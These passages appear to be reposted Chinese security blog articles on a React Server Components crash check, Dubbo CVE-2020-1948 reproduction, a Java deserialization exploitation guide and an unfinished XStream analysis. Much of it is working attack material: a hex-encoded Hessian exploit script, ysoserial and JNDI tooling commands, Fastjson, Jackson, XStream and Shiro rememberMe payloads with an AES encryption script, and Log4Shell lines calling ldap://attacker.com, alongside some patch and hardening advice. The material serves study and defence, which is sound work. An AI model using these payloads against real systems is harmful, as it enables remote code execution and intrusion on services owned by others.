{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这将转化为以下内容:

1
"$1:a:b" -> {"a":{"b":"foo"}}.a.b -> "foo"

在存在漏洞的 React Server 版本中,我们可以通过以下 multipart 请求强制返回 500 错误:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

之所以会引发异常,是因为它最终映射到以下内容:

1
"$1:a:a" -> {}.a.a -> (undefined).a -> 500

React Server Components 的补丁版本为这种冒号表示法添加了额外的检查,从而防止崩溃发生:

1
2
3
4
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}

这意味着如果:语法引用了不存在的属性,则会被忽略。这意味着补丁之后,我们将不再收到 500 错误。

Assetnote 攻击面管理平台的客户今天早些时候通过我们安全研究团队开发的高保真检查收到了有关其整个攻击面存在此漏洞的通知。

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

本文转自 JingQ 并作补充

关注该漏洞的童鞋,应该对 Dubbo 这个架构优秀的 RPC 框架不陌生,所以直入主题

漏洞详情

腾讯安全玄武实验室研究员发现,Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。

经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对 Dubbo 服务端进行恶意代码执行,影响广泛。

影响版本

dubbo 2.7.6 以下的版本

复现环境

漏洞注入简介

漏洞发现者 rui0,使用 Remo 模块,最终是通过 JdbcRowSetImpl 调用 jndi 来进行远程代码执行

由于该场景复现依赖于低版本的 jdk,之前使用 jdk-8u221 没能复现,去官网下载回低版本,使用低版本后成功复现

名词解释

  • PoC: Proof Of Concept 的缩写。在黑客圈指:观点验证程序。
  • CVE: Common Vulnerabilities & Exposures 通用漏洞披露。
  • Exp:Exploit,在安全方面,翻译为 「利用」,指利用漏洞进行攻击的动作。
  • Payload:翻译为「有效负荷」,指成功 exploit 后,在目标系统执行的代码或指令。
  • RCE:remote code execution 远程命令执行,简称 RCE 漏洞。
  • RMI: 专为 Java 环境设计的远程方法调用机制,远程服务器实现具体的 Java 方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。
  • LDAP: 轻量级目录访问协议,目录服务是一种以树状结构的目录数据库为基础,外加各种访问协议的信息查询服务
  • JNDI: Java Naming and Directory Interface,包括 Naming Server 和 Directory Server。是一种 Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

以上大概就是本次漏洞所涉及到的专业名词,先有个大概了解,后面的内容看的应该比较明白。

漏洞复现

复现场景翻阅了很多篇文章和尝试,发现通过别人构造的 payload 来复现最为简单,所以这里记录一下复现的流程

模拟 Provider

攻击依赖于 rome 工具包中的 ToStringBean 工具,所以无论下载什么提供者项目,都需要将以下依赖加入到 POM.xml 文件中

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

以 dubbo-spring-boot-project 说明

  • 一、在 github 下载示例代码,切换分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依赖
  • 三、打包启动
1
2
3
4
5
6
// 下载
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切换分支
$ git checkout 2.7.6
// 添加完依赖后,打包
$ mvn clean install -DskipTests

image

  • 四、启动服务提供者

启动的时候,注意要用低版本的 JDK,使用 IDEA 的话,可以在这里选择编译运行的 JRE

image

接着启动 Provier 即可

运行 JNDI 程序

使用了该位大佬的 PoC,里面注入的 URL 是 ldap://127.0.0.1:1389/Exploit,具体原理可以 参考资料六

具体原理说明:

image

以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

  • 一、下载注入工具代码
1
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、编译工具包,在 target 目录生成
1
$ mvn clean install -DskipTests
  • 三、运行 JNDI 工具包
1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

例如测试时,执行的命令是打开计算器,可以执行下面命令

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

构造 POC

编辑以下 Python 脚本,触发 dubbo provider 反序列化,例如以漏洞名来命名为 2020_1948.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))

def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)

run("127.0.0.1",12345)

最终复现效果:

image

漏洞小结

  • 1、下载 demo 代码,加入 rome 依赖
  • 2、启动 JNDI 服务
  • 3、构造 2020-1948.py Poc 攻击

漏洞原理简述

网上公布的 PoC 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/#ExportObject",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法,重写了 toString,该方法将会调用构造对象的所有 getter 方法

image

从上面 PoC 可以看到,执行 Dubbo 调用时,传入的是 ToStringBean 类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl,并且 datasource 属性设置的是 JNDI 暴露的 url,在调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法时,执行 connect 操作,下载远端代码,在 Service Provider 执行,造成攻击。

image

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求,在 DecodeableRpcInvocation#decode 反序列化参数的地方:

image

dubbo 默认使用的是 hession2 序列化,解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

在 hession 反序列化过程中,通过下面代码段执行到了 ToStringBean#toString

image

至此,注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社区讨论&安全网站修复建议

  • 合并社区 aquariuspj 用户给出的对 DecodeableRpcInvocation 增加入参类型校验

    修复分支 #6374

  • 漏洞发现者 rui0 建议删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
    评论建议

还有阿里云官方的安全建议

目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:

思考分析&修复思路

复现条件有限

需要引入 rome 类型的 jar 包,包含特殊的构造方法和 toString 方法(或许还有其它攻击点)

社区讨论内容

社区讨论和 commit 的内容,增加了前置校验,在反序列化之前判断服务或方法是否有效,非 $invoke 或 $echo 方法将会抛出错误,不进行参数的反序列化,增加了一点攻击难度。但由于方法名 methodName 可以用户自定义,所以修改方法名还是有可能跳过校验,触发漏洞

image

结合业务分析

业务方使用 rome 依赖的很少,构造这种类型的攻击,由于没有这个类,在 provider 反序列化时会提前报 classNotFoundException,没有执行到 readObject 方法,从而无法攻击。

综上所述,考虑到修复难度和影响范围,最后对 dubbo 修改方案如下:

  • 1、合并社区针对改漏洞的修复分支 #6374
  • 2、将 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除,避免对输入参数进行反序列化

絮叨

隔行如隔山,一山还有一山高,修复漏洞真困难。感慨漏洞发现者们,多亏这些白帽子的仔细,揭露了这么多可攻击点,将漏洞信息提交到安全中心,让使用方了解到漏洞详情。

还有 Dubbo 这个中间件的社区活跃度很高,出现问题后,大家讨论的热情高涨,积极去修复漏洞,社区活跃度高,代码更新快,支持的功能越来越多,使用起来也更放心。

通过这次分析,了解到挺多基础的安全知识,感觉随着开源代码被研究更透彻,可供攻击的点也越来越多,在代码设计和编写时,也得注意一下安全信息,避免被攻击。

参考资料

1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

6、LADP、RMI 注入程序原理说明

7、示范例子使用的注入程序

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别

11、Github 社区讨论

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

本文转自 Acl0 并作补充

Java反序列化漏洞全解:原理、案例、利用与防护

本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。

1. 什么是Java反序列化漏洞?

Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream机制,自动还原序列化数据的对象状态。

反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

如果攻击者控制object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。

漏洞核心要素

  1. 可控输入:攻击者能够提供恶意的序列化数据。
  2. 反序列化触发:应用调用readObject()或通过易受攻击的库处理数据。
  3. Gadget链:在反序列化时自动触发恶意代码的类和方法链。

2. 利用原理

Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()、readResolve()或finalize()等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。

主要攻击方式

  • 命令执行:通过Gadget链调用Runtime.getRuntime().exec()执行任意命令。
  • 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。
  • 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。

image

3. 常见Java反序列化漏洞与利用

以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。

工具准备:ysoserial

ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。

安装步骤:

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

编译后生成ysoserial-[version]-all.jar,可用于生成多种Gadget链的Payload。

3.1 Apache Commons Collections(CC)

漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。

利用原理:通过InvokerTransformer和ChainedTransformer,结合LazyMap或TiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()。

生成Payload(使用ysoserial):

1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  • Windows下使用calc打开计算器,Linux可替换为gnome-calculator或xcalc。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import java.io.*;
import org.apache.commons.collections.map.LazyMap;

public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}

攻击示例:

  1. 生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser。
  2. 通过网络接口(文件上传或Socket)将payload.ser发送到服务端。
  3. 服务端反序列化Payload,执行calc.exe。

可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。

3.2 Fastjson(版本<1.2.47)

漏洞描述:Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。

利用Payload(JSON):

1
2
3
4
5
6
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

创建恶意类:

  1. 编写Exploit.java:
1
2
3
4
5
6
7
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
  1. 编译并编码:
1
2
javac Exploit.java
base64 Exploit.class > exploit.b64
  1. 将base64内容插入JSON的bytecodes字段。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}

攻击示例:

  1. 将恶意JSON发送到服务端接口(例如通过HTTP POST)。
  2. Fastjson反序列化Payload,执行calc命令。

受影响版本:

  • Fastjson ≤ 1.2.24:默认启用autotype。
  • Fastjson ≤ 1.2.47:存在绕过方式(如使用B@替代@type)。

3.3 Jackson(启用Default Typing)

漏洞描述:Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。

利用Payload(JSON):

1
2
3
4
5
6
{
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import com.fasterxml.jackson.databind.ObjectMapper;

public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}

攻击示例:

  1. 使用与Fastjson相同的Exploit.java和base64编码。
  2. 将JSON Payload发送到服务端接口。
  3. 服务端反序列化Payload,执行恶意代码。

3.4 XStream(版本<1.4.15)

漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。

利用Payload(XML):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
import com.thoughtworks.xstream.XStream;

public class VulnerableXStream {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
xstream.fromXML(xml); // 触发漏洞
}
}

攻击示例:

  1. 生成base64编码的恶意类(参考Fastjson部分)。
  2. 将base64字符串嵌入XML Payload。
  3. 将XML发送到服务端,触发代码执行。

3.5 Apache Shiro RememberMe

漏洞描述:Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。

利用步骤:

  1. 使用ysoserial生成Payload:
1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
  1. 使用已知AES密钥加密Payload:
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
  1. 构造请求:
1
2
3
GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload

攻击示例:

  1. 使用ysoserial生成CommonsCollections Payload。
  2. 使用默认或爆破的AES密钥加密。
  3. 设置rememberMeCookie并发送请求,触发反序列化。

3.6 Log4j2 JNDI注入(CVE-2021-44228,Log4Shell)

突然想到这个,也写一下~

漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。

image

利用Payload:

1
${jndi:ldap://attacker.com/Exploit}

攻击准备:

  1. 使用marshalsec启动LDAP服务:
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
  1. 在http://attacker.com/Exploit托管恶意类(Exploit.class)。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}

攻击示例:

  1. 将Payload注入可记录的字段(例如HTTPUser-Agent头):
1
2
3
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
  1. 服务端记录日志时触发JNDI查询,执行远程类。

4. 其他漏洞与利用

4.1 Spring Framework(Spring4Shell,CVE-2022-22965)

漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。

利用Payload:

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious

防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。

4.2 Java RMI反序列化

漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。

利用示例:

  1. 使用ysoserial生成RMI Payload:
1
java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
  1. 将Payload发送到RMI服务端,触发远程类加载。

防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。

5. 检测与测试工具

以下工具可用于检测和测试反序列化漏洞:

  • Ysoserial:生成多种Gadget链Payload。GitHub
  • Ysomap:统一的反序列化利用工具。GitHub
  • Shiro_attack:测试Shiro RememberMe漏洞。GitHub
  • Log4jscan:扫描Log4Shell漏洞。GitHub
  • Fastjson-blacklist-checker:检测Fastjson漏洞。GitHub

6. 防护与加固

通用实践

  1. 避免反序列化不可信数据:禁止处理来自不可信源的数据。
  2. 使用类白名单:限制反序列化仅允许指定的类。
  3. 升级依赖:使用最新版本的库和框架。
  4. 应用安全补丁:定期更新JDK和依赖项。

具体防护措施

库/组件 防护措施
Commons Collections 升级到3.2.2+或4.1+;使用ObjectInputFilter限制类。
Fastjson 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单。
Jackson 禁用enableDefaultTyping();为ObjectMapper配置类白名单。
XStream 使用xstream.allowTypes()限制可反序列化的类。
Apache Shiro 更换默认AES密钥;禁用rememberMe或使用签名机制。
Log4j2 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI。
Spring Framework 升级到≥5.3.18;限制数据绑定参数。
Java RMI 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。

示例:使用ObjectInputFilter实现安全反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;

public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}

7. 总结

Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。

核心要点:

  • 在反序列化前验证和过滤所有输入数据。
  • 使用类白名单,避免使用危险方法如readObject()。
  • 保持依赖项和JDK的更新。
  • 使用ysoserial和Ysomap等工具测试应用漏洞。

通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。

【组件攻击链】XStream组件高危漏洞分析与利用

【组件攻击链】XStream组件高危漏洞分析与利用

本文转自 深信服千里目安全技术中心 并作补充

组件介绍

XStream是Java类库,用来将对象序列化成XML(JSON)或反序列化为对象。XStream在运行时使用Java反射机制对要进行序列化的对象树的结构进行探索,并不需要对对象作出修改。XStream可以序列化内部字段,包括私private和final字段,并且支持非公开类以及内部类。在缺省情况下,XStream不需要配置映射关系,对象和字段将映射为同名XML元素。但是当对象和字段名与XML中的元素名不同时,XStream支持指定别名。XStream支持以方法调用的方式,或是Java标注的方式指定别名。XStream在进行数据类型转换时,使用系统缺省的类型转换器。同时,也支持用户自定义的类型转换器。XStream类图:

image

高危漏洞介绍

image

XStream组件漏洞主要是java反序列化造成的远程代码执行漏洞,目前官方通过黑名单的方式对java反序列化攻击进行防御,由于黑名单防御机制存在被绕过的风险,因此以后可能会再次出现类似上述java反序列化漏洞。

漏洞利用链

1 组件风险梳理

根据XStream组件的漏洞,结合XStream常用的使用场景,得到如下风险梳理的场景图。

image

2 利用链总结

基于风险梳理思维导图,总结出一种漏洞的利用场景。

无权限 -> GetShell

image

高可利用漏洞分析

从高危漏洞列表中,针对部分近年高可利用漏洞进行漏洞深入分析。

技术背景

java动态代理

Java标准库提供了一种 动态代理(Dynamic Proxy)的机制:可以在运行期动态创建某个interface的实例。

例子:我们先定义了接口Hello,但是我们并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package test3_proxyclass;



import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

import java.lang.reflect.Proxy;



public class Main {

public static void main(String[] args) {

InvocationHandler handler = new InvocationHandler() {

@Override

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println(method);

if (method.getName().equals("morning")) {

System.out.println("Good morning, " + args[0]);

}

return null;

}

};

Hello hello = (Hello) Proxy.newProxyInstance(

Hello.class.getClassLoader(), // 传入ClassLoader

new Class[] { Hello.class }, // 传入要实现的接口

handler); // 传入处理调用方法的InvocationHandler

hello.morning("Bob");

}

}



interface Hello {

void morning(String name);

}

java动态代理机制中有两个重要的类和接口InvocationHandler(接口)和Proxy(类),这一个类Proxy和接口InvocationHandler是我们实现动态代理的核心;

**InvocationHandler接口:**proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法。

**newProxyInstance:**创建一个代理类对象,它接收三个参数,我们来看下几个参数的含义:

1
2
3
4
5
loader:一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载

interfaces:一个interface对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。

h:一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由其调用。

getInvocationHandler: 返回指定代理实例的调用处理程序

getProxyClass: 给定类加载器和接口数组的代理类的java.lang.Class对象。

isProxyClass: 当且仅当使用getProxyClass方法或newProxyInstance方法将指定的类动态生成为代理类时,才返回true。

newProxyInstance: 返回指定接口的代理类的实例,该接口将方法调用分派给指定的调用处理程序。

1 XStream 远程代码执行漏洞

1.1 漏洞信息

1.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2013-7285

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.5 , CVSS v3.0:9.8

● 漏洞危害等级:高危

1.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

1.1.3 漏洞利用条件

无

1.1.4 漏洞影响

影响版本:XStream <= 1.4.6

1.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

1.2 漏洞复现

1.2.1 环境拓扑

image

1.2.2 应用协议

8080/HTTP

1.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

1.2.4 漏洞复现

